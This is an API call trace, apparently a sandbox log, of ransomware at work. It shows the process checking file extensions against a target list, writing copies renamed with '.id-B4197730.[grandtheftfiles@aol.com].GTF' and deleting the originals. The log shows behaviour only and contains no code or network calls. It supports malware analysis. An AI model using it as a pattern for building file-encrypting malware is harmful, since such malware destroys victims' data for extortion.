	[0066.242] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.242] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1
	[0066.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.242] lstrlenW (lpString=".doc") returned 4
	[0066.242] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.242] lstrlenW (lpString=".docx") returned 5
	[0066.243] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.243] lstrlenW (lpString=".pdf") returned 4
	[0066.243] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.243] lstrlenW (lpString=".xls") returned 4
	[0066.243] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.243] lstrlenW (lpString=".xlsx") returned 5
	[0066.243] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.243] lstrlenW (lpString=".ppt") returned 4
	[0066.243] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.243] lstrlenW (lpString=".zip") returned 4
	[0066.243] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.243] lstrlenW (lpString=".rar") returned 4
	[0066.243] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.243] lstrlenW (lpString=".bz2") returned 4
	[0066.243] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.243] lstrlenW (lpString=".7z") returned 3
	[0066.243] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.243] lstrlenW (lpString=".dbf") returned 4
	[0066.243] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.243] lstrlenW (lpString=".1cd") returned 4
	[0066.243] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.243] lstrlenW (lpString=".jpg") returned 4
	[0066.243] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.243] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.243] lstrlenW (lpString=".doc") returned 4
	[0066.243] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.243] lstrlenW (lpString=".docx") returned 5
	[0066.243] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.243] lstrlenW (lpString=".pdf") returned 4
	[0066.243] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.243] lstrlenW (lpString=".xls") returned 4
	[0066.243] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.244] lstrlenW (lpString=".xlsx") returned 5
	[0066.244] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.244] lstrlenW (lpString=".ppt") returned 4
	[0066.244] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.244] lstrlenW (lpString=".zip") returned 4
	[0066.244] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.244] lstrlenW (lpString=".rar") returned 4
	[0066.244] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.244] lstrlenW (lpString=".bz2") returned 4
	[0066.244] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.244] lstrlenW (lpString=".7z") returned 3
	[0066.244] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.244] lstrlenW (lpString=".dbf") returned 4
	[0066.244] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.244] lstrlenW (lpString=".1cd") returned 4
	[0066.244] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.244] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0066.244] lstrlenW (lpString=".jpg") returned 4
	[0066.244] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.244] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.244] lstrlenW (lpString="eula.rtf") returned 8
	[0066.244] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.244] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4254) returned 1
	[0066.244] CloseHandle (hObject=0x304) returned 1
	[0066.245] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80
	[0066.245] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.245] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.245] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.245] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.357] GetLastError () returned 0x0
	[0066.357] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x109e, lpOverlapped=0x0) returned 1
	[0066.519] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x10a0, lpOverlapped=0x0) returned 1
	[0066.520] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.520] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.520] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.625] CloseHandle (hObject=0x2f8) returned 1
	[0066.625] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.625] SetEndOfFile (hFile=0x304) returned 1
	[0066.626] CloseHandle (hObject=0x304) returned 1
	[0066.626] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.627] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1
	[0066.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.641] lstrlenW (lpString=".doc") returned 4
	[0066.641] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.641] lstrlenW (lpString=".docx") returned 5
	[0066.641] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.641] lstrlenW (lpString=".pdf") returned 4
	[0066.641] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.641] lstrlenW (lpString=".xls") returned 4
	[0066.641] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.641] lstrlenW (lpString=".xlsx") returned 5
	[0066.641] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.641] lstrlenW (lpString=".ppt") returned 4
	[0066.641] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.642] lstrlenW (lpString=".zip") returned 4
	[0066.642] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.642] lstrlenW (lpString=".rar") returned 4
	[0066.642] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.642] lstrlenW (lpString=".bz2") returned 4
	[0066.642] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.642] lstrlenW (lpString=".7z") returned 3
	[0066.642] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.642] lstrlenW (lpString=".dbf") returned 4
	[0066.642] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.642] lstrlenW (lpString=".1cd") returned 4
	[0066.642] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.642] lstrlenW (lpString=".jpg") returned 4
	[0066.642] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.642] lstrlenW (lpString=".doc") returned 4
	[0066.642] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.642] lstrlenW (lpString=".docx") returned 5
	[0066.642] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.642] lstrlenW (lpString=".pdf") returned 4
	[0066.642] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.642] lstrlenW (lpString=".xls") returned 4
	[0066.642] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.642] lstrlenW (lpString=".xlsx") returned 5
	[0066.642] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.642] lstrlenW (lpString=".ppt") returned 4
	[0066.642] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.642] lstrlenW (lpString=".zip") returned 4
	[0066.642] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.642] lstrlenW (lpString=".rar") returned 4
	[0066.643] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.643] lstrlenW (lpString=".bz2") returned 4
	[0066.643] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.643] lstrlenW (lpString=".7z") returned 3
	[0066.643] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.643] lstrlenW (lpString=".dbf") returned 4
	[0066.643] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.643] lstrlenW (lpString=".1cd") returned 4
	[0066.643] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0066.643] lstrlenW (lpString=".jpg") returned 4
	[0066.643] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.643] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0066.643] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0066.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.643] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=80060) returned 1
	[0066.643] CloseHandle (hObject=0x314) returned 1
	[0066.644] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80
	[0066.644] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.644] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.644] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.644] GetLastError () returned 0x0
	[0066.644] ReadFile (in: hFile=0x314, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x138bc, lpOverlapped=0x0) returned 1
	[0066.654] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x138c0, lpOverlapped=0x0) returned 1
	[0066.656] ReadFile (in: hFile=0x314, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.656] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.657] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.657] CloseHandle (hObject=0x2f8) returned 1
	[0066.659] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.659] SetEndOfFile (hFile=0x314) returned 1
	[0066.660] CloseHandle (hObject=0x314) returned 1
	[0066.661] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.661] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1
	[0066.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.661] lstrlenW (lpString=".doc") returned 4
	[0066.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.661] lstrlenW (lpString=".docx") returned 5
	[0066.661] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.661] lstrlenW (lpString=".pdf") returned 4
	[0066.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.661] lstrlenW (lpString=".xls") returned 4
	[0066.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.661] lstrlenW (lpString=".xlsx") returned 5
	[0066.661] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.661] lstrlenW (lpString=".ppt") returned 4
	[0066.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.661] lstrlenW (lpString=".zip") returned 4
	[0066.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.661] lstrlenW (lpString=".rar") returned 4
	[0066.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.661] lstrlenW (lpString=".bz2") returned 4
	[0066.662] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString=".7z") returned 3
	[0066.662] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.662] lstrlenW (lpString=".dbf") returned 4
	[0066.662] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.662] lstrlenW (lpString=".1cd") returned 4
	[0066.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.662] lstrlenW (lpString=".jpg") returned 4
	[0066.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.662] lstrlenW (lpString=".doc") returned 4
	[0066.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString=".docx") returned 5
	[0066.662] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.662] lstrlenW (lpString=".pdf") returned 4
	[0066.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString=".xls") returned 4
	[0066.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString=".xlsx") returned 5
	[0066.662] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.662] lstrlenW (lpString=".ppt") returned 4
	[0066.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.662] lstrlenW (lpString=".zip") returned 4
	[0066.662] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.662] lstrlenW (lpString=".rar") returned 4
	[0066.662] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString=".bz2") returned 4
	[0066.662] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.662] lstrlenW (lpString=".7z") returned 3
	[0066.662] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.662] lstrlenW (lpString=".dbf") returned 4
	[0066.663] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.663] lstrlenW (lpString=".1cd") returned 4
	[0066.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0066.663] lstrlenW (lpString=".jpg") returned 4
	[0066.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.663] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0066.663] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0066.663] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.665] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=68226) returned 1
	[0066.665] CloseHandle (hObject=0x2f8) returned 1
	[0066.665] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80
	[0066.665] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.665] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.665] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.665] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.665] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.666] GetLastError () returned 0x0
	[0066.666] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x10a82, lpOverlapped=0x0) returned 1
	[0066.683] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x10a90, lpOverlapped=0x0) returned 1
	[0066.693] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.693] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.693] SetEndOfFile (hFile=0x31c) returned 1
	[0066.693] CloseHandle (hObject=0x31c) returned 1
	[0066.695] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.695] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.696] CloseHandle (hObject=0x2f8) returned 1
	[0066.696] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.697] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1
	[0066.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.697] lstrlenW (lpString=".doc") returned 4
	[0066.697] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.697] lstrlenW (lpString=".docx") returned 5
	[0066.697] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.697] lstrlenW (lpString=".pdf") returned 4
	[0066.697] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.697] lstrlenW (lpString=".xls") returned 4
	[0066.697] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.697] lstrlenW (lpString=".xlsx") returned 5
	[0066.697] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.697] lstrlenW (lpString=".ppt") returned 4
	[0066.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.697] lstrlenW (lpString=".zip") returned 4
	[0066.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.697] lstrlenW (lpString=".rar") returned 4
	[0066.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.697] lstrlenW (lpString=".bz2") returned 4
	[0066.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.697] lstrlenW (lpString=".7z") returned 3
	[0066.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0066.697] lstrlenW (lpString=".dbf") returned 4
	[0066.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
